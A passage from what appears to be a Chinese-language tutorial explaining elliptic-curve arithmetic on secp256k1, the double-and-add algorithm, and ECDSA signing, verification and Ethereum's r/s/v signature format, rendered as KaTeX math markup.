style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></span></p><h3 id="5-2-点倍乘-Point-Doubling">5.2 点倍乘 (Point Doubling)</h3><p>当 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 时，计算 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.3715em;vertical-align:-0.8804em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">3</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">a</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></span></p><p>对于 secp256k1，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，所以：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.3715em;vertical-align:-0.8804em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">3</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></span></p><h3 id="5-3-标量乘法-Scalar-Multiplication">5.3 标量乘法 (Scalar Multiplication)</h3><p>计算 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span>（将 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span> 与自身相加 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 次）：</p><p>使用 <strong>Double-and-Add</strong> 算法：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">输入: 标量 k, 点 P</span><br><span class="line">输出: Q = k·P</span><br><span class="line"></span><br><span class="line">Q = O (无穷远点)</span><br><span class="line">for i from (bit_length(k) - 1) down to 0:</span><br><span class="line">    Q = 2·Q                    // 倍乘</span><br><span class="line">    if bit i of k is 1:</span><br><span class="line">        Q = Q + P              // 加法</span><br><span class="line">return Q</span><br></pre></td></tr></table></figure><p>时间复杂度：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span></span></span></span> 次点运算</p><hr><h2 id="6-签名与验证流程">6. 签名与验证流程</h2><h3 id="6-1-ECDSA-签名算法">6.1 ECDSA 签名算法</h3><p><strong>输入</strong>：</p><ul><li>私钥 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span></span></span></span></li><li>消息哈希 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span>（256 位）</li></ul><p><strong>签名过程</strong>：</p><ol><li><p>选择随机数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span></p></li><li><p>计算曲线上的点：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span></span></p></li><li><p>计算 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span></span></p><p>如果 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，返回步骤 1</p></li><li><p>计算 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span></span></p><p>如果 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，返回步骤 1</p></li><li><p>签名为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">s</span><span class="mclose">)</span></span></span></span></p></li></ol><p><strong>v 的计算</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">27</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 用于标识 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 坐标的奇偶性，帮助恢复公钥。</p><h3 id="6-2-签名格式">6.2 签名格式</h3><p>以太坊签名格式：</p><pre><code class="highlight mermaid">block-beta    columns 3    block:sig[&quot;签名 (65 bytes)&quot;]:3        r[&quot;r\n32 bytes&quot;]        s[&quot;s\n32 bytes&quot;]        v[&quot;v\n1 byte&quot;]    end</code></pre><table><thead><tr><th>组件</th><th>大小</th><th>说明</th></tr></thead><tbody><tr><td><code>r</code></td><td>32 bytes</td><td>临时公钥点的 x 坐标 mod n</td></tr><tr><td><code>s</code></td><td>32 bytes</td><td>签名标量值</td></tr><tr><td><code>v</code></td><td>1 byte</td><td>恢复标识符 (27 或 28)</td></tr></tbody></table><h3 id="6-3-ECDSA-验证算法">6.3 ECDSA 验证算法</h3><p><strong>输入</strong>：</p><ul><li>公钥 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span></li><li>消息哈希 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span></span></span></span></li><li>签名 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">s</span><span class="mclose">)</span></span></span></span></li></ul><p><strong>验证过程</strong>：</p><ol><li><p>验证 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span></p></li><li><p>计算：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8641em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8641em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span></span></p></li><li><p>计算曲线上的点：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5945em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5945em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span></span></p></li><li><p>验证：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" 